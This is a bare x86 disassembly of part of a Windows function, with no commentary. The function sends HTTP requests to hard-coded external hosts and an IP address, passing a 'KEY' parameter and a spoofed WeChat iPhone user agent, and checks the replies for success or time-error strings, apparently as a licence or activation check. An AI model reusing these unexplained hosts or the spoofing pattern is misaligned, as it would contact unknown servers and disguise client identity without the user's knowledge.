cmp dword [ebp - 0x78], 0xffffffff
je 0x402bc2
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4e6865
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, str.self.location_
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407a19
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4029be
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4029ce
push ebx
call fcn.0042a816
add esp, 4
push dword [ebp - 0x84]
push str.http:__www.mmwzpt.cn
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4029ff
push ebx
call fcn.0042a816
add esp, 4
mov dword [ebp - 0x8c], 0
push 0
push dword [ebp - 0x8c]
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov dword [ebp - 0x9c], 0
push 0
lea eax, [ebp - 0x9c]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0xa0]
push eax
mov dword [ebp - 0xa4], 0
push 0
lea eax, [ebp - 0xa4]
push eax
mov dword [ebp - 0xa8], 0
push 0
lea eax, [ebp - 0xa8]
push eax
mov dword [ebp - 0xac], 0
push 0
lea eax, [ebp - 0xac]
push eax
mov dword [ebp - 0xb0], 0
push 0
push dword [ebp - 0xb0]
lea eax, [ebp - 0x88]
push eax
call fcn.0040667f
mov dword [ebp - 0xb4], eax
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x402ae0
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0xac]
test ebx, ebx
je 0x402af3
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x402b06
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x402b19
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x402b2c
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x402b3f
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x402b52
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x402b65
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xb4]
test eax, eax
jne 0x402b7b
mov eax, 0x4e66fa
push eax
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0xb8], eax
mov ebx, dword [ebp - 0xb4]
test ebx, ebx
je 0x402ba7
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0xb8]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x402bbe
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0x4e651c
push dword [ebp - 0x28]
call fcn.004014e1
add esp, 8
cmp eax, 0
jne 0x402d98
push dword [ebp - 0x24]
push str.http:__www.mmwzpt.cn_mmrj_up.asp_ActionupsuccessKEY
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x9c], 0
push 0
push dword [ebp - 0x9c]
lea eax, [ebp - 0x74]
push eax
call fcn.0040667f
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x402cbc
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x402ccf
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x402ce2
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x402cf5
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x402d08
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x402d1b
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x402d2b
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x402d3b
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x402d51
mov eax, 0x4e66fa
push eax
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x402d7d
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x402d94
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0x4e651c
push dword [ebp - 0x28]
call fcn.004014e1
add esp, 8
cmp eax, 0
jne 0x402f73
call fcn.00410c52
push dword [ebp - 0x24]
push str.http:__180.169.17.194_mmrj_up.asp_ActionupsuccessKEY
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x9c], 0
push 0
push dword [ebp - 0x9c]
lea eax, [ebp - 0x74]
push eax
call fcn.0040667f
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x402e97
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x402eaa
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x402ebd
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x402ed0
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x402ee3
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x402ef6
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x402f06
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x402f16
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x402f2c
mov eax, 0x4e66fa
push eax
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x402f58
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x402f6f
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0x4e651c
push dword [ebp - 0x28]
call fcn.004014e1
add esp, 8
cmp eax, 0
jne 0x403149
push dword [ebp - 0x24]
push str.http:__www.mmtp.com.cn_mmrj_up.asp_ActionupsuccessKEY
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x9c], 0
push 0
push dword [ebp - 0x9c]
lea eax, [ebp - 0x74]
push eax
call fcn.0040667f
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40306d
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x403080
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x403093
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4030a6
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x4030b9
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x4030cc
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4030dc
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4030ec
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x403102
mov eax, 0x4e66fa
push eax
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x40312e
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x403145
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e68fd
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x40317a
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
jne 0x4032e6
call fcn.00410c52
push 0
mov ebx, 0x42cf30
call fcn.0042a80a
add esp, 4
push reloc.WS2_32.dll_closesocket
push edx
push eax
push 1
mov ebx, 0x42ce60
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x7c], eax
push 0x80000601
push 0x40000000
push 0
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x84]
push 0x80000601
push dword [ebp - 0x80]
push dword [ebp - 0x84]
push 2
mov ebx, 0x42abc0
call fcn.0042a80a
add esp, 0x1c
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x90], edx
fld qword [ebp - 0x94]
ftst
fnstsw ax
test ah, 1
je 0x403222
fchs
fcomp qword [0x4e6681]
fnstsw ax
test ah, 0x41
je 0x4032e1
inc dword [0x520e00]
fild dword [0x520dfc]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fild dword [0x520de4]
fstp qword [ebp - 0x80]
fadd qword [ebp - 0x80]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x88]
call fcn.00401004
mov dword [0x520dfc], eax
push 0x80000301
push 0
push dword [0x520dfc]
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x16019850
push 0x52010001
call fcn.0042a828
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4032b4
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_connect
push 0
push 0x4e6901
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x42dfb0
call fcn.0042a80a
add esp, 0x1c
jmp 0x4060da
push str.Atimeerr
push dword [ebp - 0x28]
call fcn.004014e1
add esp, 8
cmp eax, 0
jne 0x403331
push reloc.WS2_32.dll_connect
push 0
push 0x4e691e
push 0x10005
push 0x16010003
push 0x52010001
push 2
mov ebx, 0x42dfb0
call fcn.0042a80a
add esp, 0x1c
jmp 0x4060da
mov dword [0x520e00], 0
mov dword [0x520dfc], 0
push 0x80000301
push 0
push dword [0x520dfc]
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x16019850
push 0x52010001
call fcn.0042a828
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x403392
push ebx
call fcn.0042a816
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4e696d
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4e68fd
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407a19
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4033e1
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4033f1
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x403408
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4e6712
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4e696d
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407a19
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x40345b
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x40346b
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x403482
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4e6971
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4e6712
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407a19
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4034d5
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4034e5
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x4034fb
mov eax, 0x4e651c
push eax
push 1
mov ebx, 0x42b690
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x88], edx
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x40352d
push ebx
call fcn.0042a816
add esp, 4
push 0x80000601
push dword [ebp - 0x88]
push dword [ebp - 0x8c]
push 1
mov ebx, 0x42b7f0
call fcn.0042a80a
add esp, 0x10
mov dword [0x520e10], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4e6975
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4e6971
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407a19
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4035a4
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4035b4
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x4035ca
mov eax, 0x4e651c
push eax
push 1
mov ebx, 0x42b7f0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4035f6
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x88]
mov dword [0x520e14], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4e6979
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4e6975
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407a19
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x403650
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x403660
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x84]
test eax, eax
jne 0x403676
mov eax, 0x4e651c
push eax
push 1
mov ebx, 0x42b7f0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4036a2
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x88]
mov dword [0x520e18], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4e697d
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4e6979
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407a19
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4036fc
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x40370c
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [0x520e1c]
test ebx, ebx
je 0x403726
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [0x520e1c], eax
push reloc.WS2_32.dll_bind
push 0
push 1
mov ebx, 6
call fcn.0040157e
push reloc.WS2_32.dll_connect
push 0
push 0x4e6981
push reloc.WS2_32.dll_connect
push 0
push str.amp_
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x520e1c]
test eax, eax
jne 0x40376f
mov eax, 0x4e651c
push eax
push 6
mov ebx, 0x42bbe0
call fcn.0042a80a
add esp, 0x4c
mov dword [ebp - 0x74], eax
push reloc.WS2_32.dll_bind
push 0
push 1
mov ebx, 6
call fcn.0040157e
push reloc.WS2_32.dll_connect
push 0
push 0x4e671b
push reloc.WS2_32.dll_connect
push 0
push 0x4e6989
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x4037c6
mov eax, 0x4e651c
push eax
push 6
mov ebx, 0x42bbe0
call fcn.0042a80a
add esp, 0x4c
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x4037ec
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [0x520e1c]
test ebx, ebx
je 0x403803
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [0x520e1c], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4e698c
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4e697d
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407a19
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x403858
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x403868
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [0x520e20]
test ebx, ebx
je 0x403882
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [0x520e20], eax
push reloc.WS2_32.dll_bind
push 0
push 1
mov ebx, 6
call fcn.0040157e
push reloc.WS2_32.dll_connect
push 0
push 0x4e6981
push reloc.WS2_32.dll_connect
push 0
push str.amp_
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x520e20]
test eax, eax
jne 0x4038cb
mov eax, 0x4e651c
push eax
push 6
mov ebx, 0x42bbe0
call fcn.0042a80a
add esp, 0x4c
mov dword [ebp - 0x74], eax
push reloc.WS2_32.dll_bind
push 0
push 1
mov ebx, 6
call fcn.0040157e
push reloc.WS2_32.dll_connect
push 0
push 0x4e671b
push reloc.WS2_32.dll_connect
push 0
push 0x4e6989
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x74]
test eax, eax
jne 0x403922
mov eax, 0x4e651c
push eax
push 6
mov ebx, 0x42bbe0
call fcn.0042a80a
add esp, 0x4c
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x403948
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [0x520e20]
test ebx, ebx
je 0x40395f
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [0x520e20], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4e6990
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4e698c
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407a19
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x4039b4
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x4039c4
push ebx
call fcn.0042a816
add esp, 4
push 0
push dword [ebp - 0x84]
push 0xffffffffffffffff
push 8
push 0x160100e8
push 0x52010001
call fcn.0042a828
add esp, 0x18
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x4039f5
push ebx
call fcn.0042a816
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4e6994
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4e6990
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407a19
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x403a44
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x403a54
push ebx
call fcn.0042a816
add esp, 4
push 0
push dword [ebp - 0x84]
push 0xffffffffffffffff
push 8
push 0x160198cf
push 0x52010001
call fcn.0042a828
add esp, 0x18
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x403a85
push ebx
call fcn.0042a816
add esp, 4
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4e6998
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4e6994
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407a19
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x403ad4
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x403ae4
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x403afb
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x34], eax
push reloc.WS2_32.dll_bind
push 0
push 1
mov ebx, 6
call fcn.0040157e
push reloc.WS2_32.dll_connect
push 0
push 0x4e6981
push reloc.WS2_32.dll_connect
push 0
push str.amp_
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x403b40
mov eax, 0x4e651c
push eax
push 6
mov ebx, 0x42bbe0
call fcn.0042a80a
add esp, 0x4c
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [0x520e0c]
test ebx, ebx
je 0x403b6d
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [0x520e0c], eax
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4e699c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x520e0c]
test eax, eax
jne 0x403ba6
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x403bd5
mov dword [0x520e08], 1
jmp 0x403bdf
mov dword [0x520e08], 0
push 0x80000301
push 0
push dword [0x520e14]
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x160198d6
push 0x52010001
call fcn.0042a828
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x403c2c
push ebx
call fcn.0042a816
add esp, 4
push 0x80000301
push 0
push dword [0x520e18]
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0
push dword [ebp - 0x74]
push 0xffffffffffffffff
push 8
push 0x160198d4
push 0x52010001
call fcn.0042a828
add esp, 0x18
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x403c79
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x403c8c
mov eax, 0x4e651c
push eax
push 1
mov ebx, 0x42b690
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
fld qword [ebp - 0x80]
ftst
fnstsw ax
test ah, 1
je 0x403cb3
fchs
